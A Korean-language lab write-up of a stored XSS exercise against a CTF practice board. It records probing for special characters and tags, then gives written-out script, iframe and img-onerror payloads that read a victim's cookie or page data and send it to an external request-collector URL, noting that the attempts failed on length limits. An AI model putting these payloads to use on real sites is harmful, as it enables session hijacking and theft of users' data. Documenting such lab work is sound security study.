게시판에 스크립트를 글과 같이 작성후 클릭한 클라이언트에게 삽입된 스크립트를 실행하게 하는 방식
글쓰기 및 수정 화면에서 XSS필요한 특수문자가 입력가능한지 <'">을 입력하여 확인 | O 가능 X 불가능
| <'">입력 TEST | 출력값 |
|---|---|
![]() | ![]() |
<img>, <script> 등 사용할 태그를 확인
<img>,<script> 입력 | 출력값 |
|---|---|
![]() | ![]() |
alert,prompt등 사용할 함수 확인
alert,prompt 입력 | 출력값 |
|---|---|
![]() | ![]() |
XSS가능한지 alert(1)넣어서 확인
alert(1);삽입 | 출력 |
|---|---|
![]() | ![]() |
document.cookie 테스트
Get방식으로 정보탈취 -> new Image로 <img>태그 생성 방식
document.cookie 삽입 | 코드 심은 사이트 방문 | 쿠키 탈취 결과 |
|---|---|---|
![]() | ![]() | ![]() |
| 관리자페이지 방문 | 결과 |
|---|---|
![]() | ![]() |
<iframe>태그 활용
-> <iframe src ="URL">을 이용하여 원하는 사이트 불러옴
| iframe 적용 |
|---|
![]() |
<script><iframe src = "http://ctf.segfaulthub.com:4343/xss_1/mypage.php" id="target">
</iframe>
<script>
document.getElementById('target').onload=function(){ let tar = document.getElementById('target');
let get = tar.contentDocument;
let a = get.getElementsByName('info'); console.log(a[0]);}
</script>
| console에 확인 |
|---|
![]() |
GET방식으로 전송
<iframe src = "http://ctf.segfaulthub.com:4343/xss_1/mypage.php" id="target">
</iframe>
<script>
document.getElementById('target').onload=function(){ let tar = document.getElementById('target');
let get = tar.contentDocument;
let a = get.getElementsByName('info');
new Image().src='https://env2ukig2umbh.x.pipedream.net?cookie='a[0].placeholder;}
</script>
실패 요인 -> 글자수 제한
해결방법 -> img 태그를 활용해서 스크립트 길이를 줄이도록 시도
| 결과(실패) |
|---|
![]() |
<img><img>태그를 이용하여 GET방식 전송
test<iframe src = "http://ctf.segfaulthub.com:4343/xss_1/mypage.php" id="target">
</iframe>
<img src = x onerror= "
let tar = document.getElementById('target');
let get = tar.contentDocument;
let a = get.getElementsByName('info');
new Image().src='https://env2ukig2umbh.x.pipedream.net?cookie='+a[0].placeholder;"/>
실패 요인 -> 글자수 제한
해결방법 -> img 태그를 활용해서 스크립트 길이를 줄이도록 시도
| 결과(실패) |
|---|
![]() |
GET방식말고 다른 방법으로 전송가능한 방법 찾기
글자 수를 줄일수 있는 방법 찾기